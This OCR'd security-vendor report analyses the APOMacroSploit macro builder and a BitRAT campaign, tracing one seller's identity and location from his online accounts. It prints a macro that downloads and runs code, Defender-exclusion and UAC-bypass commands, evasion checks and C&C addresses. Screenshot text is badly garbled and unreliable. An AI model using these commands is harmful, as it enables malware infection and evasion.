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1.1 Introduction

At the end of November, Check Point Research detected a new Office malware builder
called APOMacroSploit, which was implicated in multiple malicious emails to more than 80
customers worldwide.

In our investigation, we found that this tool includes features to evade detection by Windows
Defender and is updated daily to ensure low detection rates. In this article, we reveal the
threat actors’ malicious intentions and disclose the real identity of one attacker. We reported
this information to the relevant law enforcement authorities.

The malware infection begins when the dynamic content of the attached XLS document is
enabled, and an XLM macro automatically starts downloading a Windows system command
script.

Based on the number of customers and the lowest option price for this product, we estimate
that the two main threat actors made at least $5000 in 1.5 months, just by selling the
APOMacroSploit product.
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We followed multiple cases of attacks related to this tool, which we discuss here, and we
describe a popular RAT used in this campaign to control the victim’s machine remotely and
steal information.

1.2 The campaign

Figure 1: Graph of the total number of attacks

Approximately 40 different hackers are involved in this campaign, and utilize 100 different
email senders in the attacks. Overall, our telemetry reports attacks occurred in more than 30
different countries.

1.3 The malicious document

The initial malicious document our customer received was an XLS file containing an
obfuscated XLM macro called Macro 4.0. The macro is triggered automatically when the
victim opens the document, and downloads a BAT file from cutt.ly:
' Macrol, K583 [CHAR(99) &CHAR(109) &C SCHAR(32) &CHAR (47 ) &CHA

-w 1 stARt -slE'Ep 3

HAR (47 ) &CHAR [ 9°

:ali'Ep | attrib +s

C 2 JECHAR (47 ) &CHA
-w 1 stARt -slE Ep

" Macrol
HAR(111)

Macro 3 po -w 1 sStARt-slEEp 3; Mov -Destination FenV:TEMP),

Macrs 5; P -W 1 AchRT-s1EEp 12; Item -Path pd.bat -Force),

Macr E po -w 1 atARt-slEEp 1: a h pd.bat),

Macr 87,.EXEC{cmd fc po =W 1 AtART=slEEp 7:cd & TEMP: ./pd.bac),

Macrel  K5%E EXEC(cmd /o po =W 1 (nEw=cBjecT Net.wWebcLIENT).(DownloadFile).Invoke(httpa:/fcuct Iv/DhWLCS pd. batil,
Macrol  KE40, FAUSE() .

Figure 3: Malicious Macro4.0 deobfuscated

The execution of the command “attrib” enables the BAT script to hide in the victim’s machine.

We assume the reordering of the PowerShell instructions via the Start-Sleep command
(visible after deobfuscation) is seen by the attacker as another static evasion.
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1.4 BAT file downloaded from cutt.ly website

At this stage of the attack, the attackers made a key mistake. The cutt[.]ly domain directly
redirects to a download server and does not perform the request on the back end. These

servers host the BAT files:

For each file, the nickname of the customer was inserted inside of the filename (the list can

be seen below).

Index of /bat

Name Last modified Size Description

a Parent Directory -
[P oo xls 2020-11251522 0
@ scuptxls DaBaTl00-e > 2020-12-08 14:50 2.0K
@ scrptxls 0al83509-£ > 2020-12-02 00:38 2.1K
scriptxls Ob3e@@d5-b = 2020-12-0907:14 20K
seriptxle Oh548063 = 2020-11-26 06:41 1.0K
senptxls Oba {6483 > 2020-12-01 18:00 2.0K
scriptxls 0ddf5d19-9 > 2020-11-26 13:54 20K
scriptxls OefS1b30-b. > 2020-11-27 00:09 2 0K
2020-11-28 07:26 20K
2020-12-0217:38 21K
scrptxls 0f863a3e-3.> 2020-12-07 12:10 2.2K
scriptxls 00f55460-9 > 2020-12-03 14:56 2.0K

Y

o=
- 3 "
B
LT AT

| [ [ [T [ [

content

Figure 4: hxxp://193[J239[.]147[]76/bat

Zombie99, seen in the file name, is the nickname of one of the attackers.

From this, we obtained a list of all customers’ nicknames.

COLAFORCE1010 moonlight kingshakes
ZaiTsev motolux laudable
apo93 nitrix legranducki
bambobimpel nullptr libinvip
bawbaw pr3torian makaveli
bayalbatros retroferon mcavy
birchfresh rroki123 mcdon
boblarsers2 siemaziuta mcoode55
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borah silenthide mic12

btcjune skiw53 mikky

centank slipperynick xavierdev

covv somasekharraddyn zilla07
crownking spicytorben zombie99
danmill5241 t5samsung2020

demomode thecabal [email protected]
duksquad tozmac jew

frankie777 warlords jonathanandy77
fteenetx xaa

Figure 5: List of customers

The BAT script file checks which Windows version the victim has and downloads fola.exe if
the version is:

Windows 10
Windows 8.1
Windows 8
Windows 7

It adds the malware location in the exclusion path of Windows Defender, bypasses UAC and
then executes the malware.

if = r = mm g 2" | scho "Windows & detected™
7 add "HECNEnvironment™ /v "windir®™ /d "c=d /o start p owecsh el"l -w | Add-MpFreferzence -ExclusionFath "Senv:temp® ;
MpPreference -ExclusionPath "Jenv:appdata®™ ;
lesp 12;
& Het .WebClient) .DownloadFile("http /sy
Starc-Slesp 2; Start-Frocess Senv:iappdata‘rm.exe; tREM " >mul
ut fe 2 >nual
asks Jrun Jon \MiczosoftwWWindows\DiskECleanup\SilentCleanup /I >mual
zimacut fe 3 >mal
7 delece "HECTNEnvironment™ /v "windiz®™ /F

" (Fenviappdatal+"\rm . exe ) ;

Figure 6 : Bat File

In addition, We also noticed some usage of rebrand[.]ly that redirects and download the bat
file from cdn.discordapp.com.

1.5 APOMacroSploit
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When we searched for the usernames that were in the BAT file names, we found an
advertisement for a malware builder called APOMacroSploit. This is a macro exploit
generator that allows the user to create an XLS file which bypasses AVs, Windows Defender,
bypass AMSIs, Gmail and other mail phishing detection, and more.

This tool has a “WD disabler” option, which disables Windows Defender on the targeted
machine before executing the payload, and a “WD exclusion” option, which adds the file to
Windows Defender so it can bypass WD as well.

APOMacroSploit administrators justified their AV bypass claim with links from a questionable
website: avcheck|.]Jnet. Those links allege full none-detection (FUD) from AVs [Figure 7].

Fite name is higgen task id: vegHRMWEHa2 started: 2020-12-26 03:41 duration: 2 sec

File 1 (144 kb) clean

Antivirus Result
G Adawarg Antivirus 12 clean
AhnLab V3 Internet Security clean
Alyac Internet Security clean
Avast Internet Security clean
ANG AntiVinus clean
Ayira Antivirus 2020 clean
Bitdefender Total Security 2020 clean
BullGuard Anthvins clean
ClamaV clean
Comadao Antivires clean
Dr'Wab Security Space 12 clean

Figure 7: avcheck[.Jnet on XLS created by the APOMacroSploit

APOMacroSploit is sold on HackForums.net by two users: Apocaliptique (Apo) and Nitrix.
We also found a Discord channel in which Nitrix is named as the tool developer and Apo is
the admin: https://discord.com/channels/764830353927569409/764832717267140629
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Figure 8: Discord channel members

In this channel, both Nitrix and Apocaliptique assist buyers with how to use the tool.
Many of the customer nicknames visible on the download server were also found on the
channel.

1.6 About the actors

For each customer, Apocaliptique and Nitrix created a BAT file to use in the attack (see the
procedure description below):

This screenshot shows that not only did these hackers sell their attack tools, but they also
participated in building and hosting the malware.
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100% working and FUD scantime/runtime

fate me Fich will puarant

st file e gither an Excel file a Woaord file

thing you'll need to provide ma is the direct link to your .axe file.

50%

Figure 9: Apo Bypass team helps their customers.

193.239.147.76 ~» o : Molt,ck 190320147024  Wndows

Des Capital BV,

v Senvices (1)

Port Protooo! Sarvice Mo Slatus

I3E0 TCR Windows Remote Desldop filtor o

View All 1 Records

« Certificates (6)

Shat Expiraticn Data Subject Common Name Subect Organazation Mams
b2 3Bc54TaR05bIa 1 1 9cdoBbaccioncTIGA911G 20191109 localhast

J6ffa 33148408701 d40bceBod02b064dacd 2 20210104 WIN-CL) 1 BOGOEIP

b1 G659 INGda0b 20005 1985 Teadb4a TdB5d9 2021-06-05 WIN-CL1 BOGOEIP

B 1 a2B900c 39 1 obcdi2 TalBOBEC 36514 2 582 204 2021-11-26 apo bypass

291 baTecade TadBE 1 54659116 1 BEa5a11a6 19560 2031-01-0% WIN-JUNSOWVMVATM

Figure 10: Apo Bypass owns the hosting server seen above
Apocaliptique uses Apo Bypass YouTube channel to advertise his tool’s features.
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Figure 11: Apo Bypass YouTube channel
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As you can see, this YouTube channel subscribes to 55 other YouTube channels. One of

these channels, called Ntx Stevy, attracted our attention because it has only 6 subscribers,

including Apo Bypass.

NTx Stevy

& subscribers

SUBSCRIBE

Figure 12: Ntx Stevy YouTube channel
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By drilling down a bit more, we found an old Skype address for the NTx Stevy channel, in the
account name there is sequence of numbers, 93160, which is associated with a French area,
Seine Saint Denis, and more specifically, Noisy-Le-Grand city.

2 Comments SORT BY

o P

Greg Bartoche 5 years ago
Saln, se serait possible gu'ont puisse se parler en PV c'est b propos du concerl ¥ merc

& ¥  REPLY

& [ Hede repey

+Greg Bartoche Yép pas de 30Uc sjoute mol skype ¢8 sers plus simple 33160

F 9 REPLY

Figure 13: Conversations inside the NTx Stevy YouTube channel
Another channel also showed us some interesting data:

Well i'm platinum 1 actually, yvou can check by yourself, my summeoner is NTx.
But indeed my opponent are silver/gold because | often play on smurf accounts.

Figure 14: Conversations inside the NTx & Stevy YouTube channel
But so far, there is no clear connection between Apo and Ntx Stevy.

We do, however, know that the developer of APOMacroSploit is called Nitrix.

By searching Nitrix’s conversations, we saw the following message:

Figure 15: Nitrix talking about LOL (League of Legends) on

HackForums
So here is the first link from Nitrix to NTx.
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Figure 16: Nitrix tweeting his Skype account

In this screenshot, it appears that the Skype account, we found before, on the YouTube
comment, is associated with this Twitter page.

So Ntx Stevy is actually Nitrix and plays LOL (League of Legends) using the same
summoner name! Nitrix and Apo even played games together:

Lee Sin Compilation #1 - NTx & Stevy

2,212 views * May 18, 2013

NTx & Stevy
38 subscribers

Here is a compilation of Lee Sin's Kills.
Enjoy. Please like and subscibe for more videos, thanks!

Dont forget to put the video in 720p !
Players :

MTx : TheAceWish, Nimachi, Daemonss (Summoner Names)
Cbs : Kamikaze Stevy (Summoner Names)

Apocaliptique : louloucici, Apocaliptiqgue23 (Summoner Names)
Kinepak : Kapenik (Summoner Names)

Figure 17: Nitrix and Apocaliptique playing LOL (League of Legends) together
Now, the link becomes clear. This channel of 6 subscribers was followed by Apo because it
belonged to his friend, developer Nitrix.

Finally, we found another Skype account (blurred in the picture) associated with Nitrix that
confirms what we already know.
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Figure 18: Another

Skype account associated with Nitrix
By searching on Skype for Nitrix’s identity, we found his first name.

x

-

All

Figure 19: Nitrix Skype account

SKYFE DNRECTORY

After digging in Nitrix Twitter account, we finally obtained his identity: he revealed his actual
name when he posted a picture of a ticket he bought for a concert in December 2014

- . Dec 14, 2014
| have my place: D

10

H

B

‘Sowss 3l i Ii|
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Figure 20: Nitrix tweet

We looked for this name o social media and found an account on Facebook, which had the
same picture. According to his Facebook account, Nitrix was indeed living in Noisy-Le-
Grand.

- .
. =  fFigure 21:
Habite & Moisy-le-Grand

Nitrix Facebook account
We tracked Nitrix LinkedIn page that shows where he studied and that he has 4 years’ worth
of experience as a software developer.
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Dcutloppﬂu |¢g|{it|1.

Education

Figure 22: Nitrix LinkedIn account
Now, let’s take a look at Apo, whose nickname in HackForums.net is “Apocaliptique.” Here
we can see Apo using this nickname and responding to questions about his product:

Figure 23: Apocaliptique’s answers to potential customers on HackForums
We found out his Skype nickname: apocaliptique93.
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We assume that Apocaliptique is a French resident like Nitrix. First, the language used in the
advertisement videos is French (figure 11). Moreover, the pseudo he used above is either
“apo93” or “apocaliptique93“ and as seen above, “93” is a common suffix for French citizens
living in Seine Saint Denis.

Figure 24: Apocaliptique’s Skype nickname
We also saw that he plays and sells League of Legends accounts with this nickname and
Skype name.

1.7 Example of APOMacroSploit usage by Mic12 :

This section describes in more detail an example of a popular second stage seen in several
attacks related to this campaign.

¢ ¥ B & &

Hacker Email with attachment XLS file (‘onnecls m Con necls to
Macro 4.0 h

e LI

Evasive Delphi Crypter Notepad.exe Evasive Delphi Crypter Bat file
HAppData | XXXX\ernm. exe [ola.exe

& g

185[.]157[.]161[.]109 BitRat VBS dropped on Startup folder
For persistency

Figure 25: Infection chain
1.71 The Document
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The attacker sent via email with variety of subjects: nopbuka 3a gocraska (delivery order in
Bulgarian),
bio tech inquiry, royal mail notification — 30/11/2020, boat inquiry.

The file names of the documents are corresponding to the email subject: spetsifikatsiya.xls,
biotech.xls, royalmail.xls, boat.xls

o B &
n Home | Insert Fage Layout Formulas  Data  Review  View al@o F B
= X — 1 = [BLCondtional Formatling = ™ Inert = = F
L& ‘0 AN Tamlw e @ - ' oT | imet- | B #rl.'ltﬁ
i ¥ $ - % » | [romata Tabic - ¥ oeete - - =
Paste = - - - | . 5 - = Sort & Find &
& ] B IO = e e 4 :‘ EEEiEE 4 -2 3 [ Cull Styies = [Bircemat = 2" Fmer= Sebect -
Chpboard Faont ; Angnment W Wumber G Styoet Cells Ediwig
a1 - I s
A B | ¢ | D E | F | G | H | 1 [ 1 | & | L ?

Document created in earlier version of
Microsoft Office Excel

To view this content, please click “Enable Editing"” from the yellow bar and then click

ET

i“h;; Ik Feull %3 [E] i — . :t; ;
Figure 26: screenshot of the XLS malicious file
1.7.2 Malware hosted server

One of the BAT files downloads the malware from the following location:
hxxp:/IXXXXXXXX/royal1/helper/gd/zt/fola[.]Jexe. This is a Bulgarian website for medical
equipment and supplies.

v\ .

Quality Medical Equipment and Supplies

- ——
Figure 27: Bulgarian website home page

The website looks legitimate and might have been hacked by the attacker to store the
malware:
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& 0 royal Lihelperigd/zt]

*s. Exploit-DB "%, NetHunter [[Joverflowzone & Hook Me!

Index of /royall/helper/gd/zt/

Last modified Sire Descriptien

02 -Dec- 2000 01:09

02 -De - 2020 01:09 ATEdk

Figure 28: Malware stored on the Bulgarian website

1.7.3 The Malware

The malware in question is a DelphiCrypter followed by a BitRAT.

Anti-detection mechanisms

The DelphiCrypter came with a number of anti-analysis techniques that didn’t fool our

engines. Among them:

A call of RtIAddVectorizedExceptionHandler followed by a division by 0 to generate a

crash to disrupt debuggers.

68 E4CF4E00
BA 01

ES BO9OBFOFF
&8 00
ES8 G29EFOFF
&804S

64 01

ES S599EFIFF

81FB Z0030000
» 7B

|

push
push
call
push o
call <IMP.&wglCreateContexts
push

CENN <IWP.&GetSystemMetrics>
MmOy ebx , &ax

push 1

EA11 <IMP.&GETSySTemMetrics>
cmp ebx, 320

jbe fola.4sD0CE

cmp eax,258

ja fola. 46D0CD

mov esi, 3

jmp fola.4eD0DA

push ¢

pop e51

xchg esi,eax

div eax

£ -

4. 46CFE4

1
dword ptr ds:[<é&RtlAaddvectoredExceptionHandler:]

e 0D24p7827 64 30 push 20
e 0z4D7829 59 pop ecx
| 02407824 &4:8B01 mov eax ,dword ptr i [ecx]
8078 02 00 cmp byte ptr ds:[eax+2],0
r——--#|(024D7 831 ~ OF85 07000000 jne 24D783E
i ®| 02407837 C745 F5 00000000 mov dword ptr ss:[febp-sJ,0
Lo—-@ 397D F8 cmp dword ptr ss:[febp-358§,edi

02407 83E

QueryInformationProcess call with the argument Oh1E / Oh1F to search for debuggers.
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| F 45 inc &bp

ek FC cld

w0 Z1 BO00 add byte ptr ds: [e=ax],al

w0 3 [ ] add byte ptr ds: [sax) ,al
W FFO1 call eex

- B370 FC 00 emp dword ptr ssiffebp-4),0

s 28 DOFE4 90300000 j& 24DapCl
31 BEEE SCO00000 mov eax,dword ptr ds:[22§:8C]

L1 K 37 E& DO puzh 0

L] 3 EA D4 puzth 4

L] B BDSE F8 Tea eds,dword per ss:|zbp-s)

L] 3JE S puth adx

L] B4 1E Buth 1E
ecxm<nTd]]. IwQueryINTormat1onProcess
02401025

(%

PeDumpl (M oump2 SNOumo3 B Dump 4 fowrps B watchy  IvelLocals ' Shuct m1p1

A search for the keywords « sample », « malware » or « sandbox » in the path location
of the malware. If found, the execution stops.

e 02630419

sandbox
malware_path_location

807D EO
80585 CBFDFFFF

1:.5. Ed1,ﬂ'ﬂﬂ-l‘ﬂ pTtr ==t Etlp-ll.:ll
Tea eax,dword prr ss:[ebp-238]
call <check_path_locs
TEST &ax, &ax
jne 2630445

02630422 ES DA4BODOD
® 02630427 &5C0
e|o2630429| - oFss 16000000

Search for a set of antivirus or analysis programs. If they are running, the execution
stops :

€745 F8 72007600 mov dword ptr ss:febp-g],fola. 760072

-

L 661 8955 FC mov word prr ss:[febp- 4, dx

. ES OC 440000 | <search_in_processess

. B3C4 04 add esp, 4

. B5C0 | test eax,eax

- * OFBF 4AZE000D :||l'l': 2404864

L 804D CC ea ecx,dword ptr 55:[Jebp-34]
L] 51 | push ecx ecx: L "mpemdrun”
L] BBCE | mov_eax,esi

L1 EE FE430000 | eall <search_in_processess

- B3C4 04 add esp, 4

. B5C0 TEST EAN,SAX

- * OFBS 34380000 %I'I': 2404864

. BD55 FO ea edx,dword ptr s5s5:[Jebp-10]
L] 52 push edx

L] mav_eax,esi

- EB E0430000 | EAlY <search_in_processess

List of antiviruses and analysis programs:

e Avast
o Avastui.exe
o Avastsvc.exe
o Aswidsagent.exe
o kaspersky
o Avgsvc.exe
o Avgui.exe
o AVP
Avp.exe
o Bit Defender
o Bdwtxag.exe
o Bdagent.exe
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e Windows Defender
o Msmpeng
o Mpcmdrun
o Nissrv.exe
Dr Web
Dwengine.exe
ESET
o Equiproxy
o Ekrn
Analysis tools
o Procexp.exe
o Windbg.exe
o Procmon.exe
o Ollydbg.exe

Multiple delays of the malware execution.

Persistency

A Notepad.exe injected shellcode drops a VBS file in the startup folder to ensure the
malware persistency.

Roaming » Microsoft » Windows » Start Menu » Programs » Startup v (| Search Startup
. Mame Date modified Type Size
a | &) Klopbs 12/15/2020 %14 AM VEScript Script File 1KE
o
+
o

Figure 29: VBS file in the startup folder

set ANhdAK = crelATeQOBjelc ("wScRIFtC.SheLL™)
2 AnhDk.run """C:\Users\analyst\AppData\Roaming\rtgb\er

= -

=rshanalysc\AppDacta‘\Roaming\rtgh\ernm.ex=""", 0, Falscilill

Figure 30: Content of the VBS dropped file
Then, the notepad shellcode starts the malicious ernm.exe.

&7 ol » anabyst » AppDats » Roaming » righ
Name = sea e "N -
o Quick access .
I Desitep ¢ =TS 1/30/2020 245 AM Acakcsion R
J Downlosds &
5] Decurnarts +
= Pictunes "

o= DD Drieve (D)

Figure 31: Duplicate the malware at the persistence path
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This ernm.exe malware is statically identical to fola.exe. During its execution, it compares its
path with %appdata%/Roaming/rtgb/ernm.exe. If it is equal, it unpacks itself to a BitRAT.
(MD5 : BGAD351A3EA35CAE710E124021A77CA8)

e

BitRAT

E1 High Quakty and Efficiency RAT

Figure 32: BitRAT

of connections

o

VOO Priaacy & Peace of mird

advertisement

Figure 33: Example of BitRAT Attacker dashboard
The BitRAT functionalities include:
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e SSL encryption

¢ XMR mining

e Webcam hacking

e Remote control

» Keylogging

o Download and upload of files
o Compatibility with TOR

1.7.4 The C&C

The C&C of this malware is located at the following IP: 185[.]157[.]161[.]109

This IP was resolved to a domain, which is a sub domain of a legitimate Bulgarian website
for video surveillance systems.

_ Shop  Pricelnts  Discounts Q

Figure 34: The Bulgarian website

1.8 Protections

Check Point customers are protected against this attack.

SandBlast Network

e Trojan.Wind.Generic.A/H/F
RAT.Win.BitRat.A
Signature_xIm_char_macro_4
Signature_xIm_macro_4 concat_exec
AP.malicious.xls.a

1.9 I0Cs

Document:

o 37951f4d601c647c284a431b582f5aebc3d0e13e
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e 0f7901078941f167b318f4fb37349503ec62b45d

» e4b03e2689bf54d97195¢c4b1bf94d7e047fb0926
» €56157faa2d9c5c9a0a30f321b442794860576e0
e 2b753299c8824cc1dd0c48c2552e67df2db0800a
o 583e84e1376147dfc21bab53026cd2bd0250dcad
» €14e89d16fb6632659ffe2bb2b8b82741ace5478
» feaB838fecb16a23717429f25967b5d9f21b9b5f8

» 4e6c98140eeb64351740e7b62e6863659abbb591
e cdb97b35bdedcb6318cfed11b706a12df2e95be
» d05bb0a47b5f43ae9c2ffd72c9245ee6675bc798
» ee5dc839a6565d26b6eb8d07744c4886f646721d
» f8f92986f49a19f58a3114a19f4c0af48ab59e43

» 1d884a8beb4f84a6a5fb12dd9d3b3ff3108b6874

» 6ebb625de65f3a8ce66122d10dcccdfad8cdf5d6

e d529134cdf6837081ead1219a74128e5ccb31ce9
e 6¢b9af64cb0c86ca2238e01d1452b9d6513b7eald
e 9529b21240d9986¢32527a589d38029c608dd253
e 433144bc02374a186ffcb91d3beaabcbalcd160d
e c3b19195228f75b437a9¢c5b3df2028df1b1cbdcS

» ecal08346b447fc927fdad8cc944178e85c83496a
e 129226d22bb541495ff427e9f4a421cb09557a12
» 9809ea270285d08732dacc3ca572d9d272fec6fa
» 1982ba2694cd6b25bb057f89b29ded8225¢997cd
e 0f7901078941f167b318f4fb37349503ec62b45d

e Ob6cb46c92dbb0075f2524c8397e44236¢37eebd
» 25ed4d9fca33c1ccdfob6a6793df14d2e07e5e97

o 3a4e2469a56dcd0b9a287f8bde8be78aec6ab397

Malwares:

e a359796eacef161e75ce3f5094e1dd2bff37389c
e 9a8b2be1f45b4d3d5a9a772ce45a01caalalbbe2

C&Cs:

o 185[.]157[.]161[.]109
o 185[.]57[.]162[.]81
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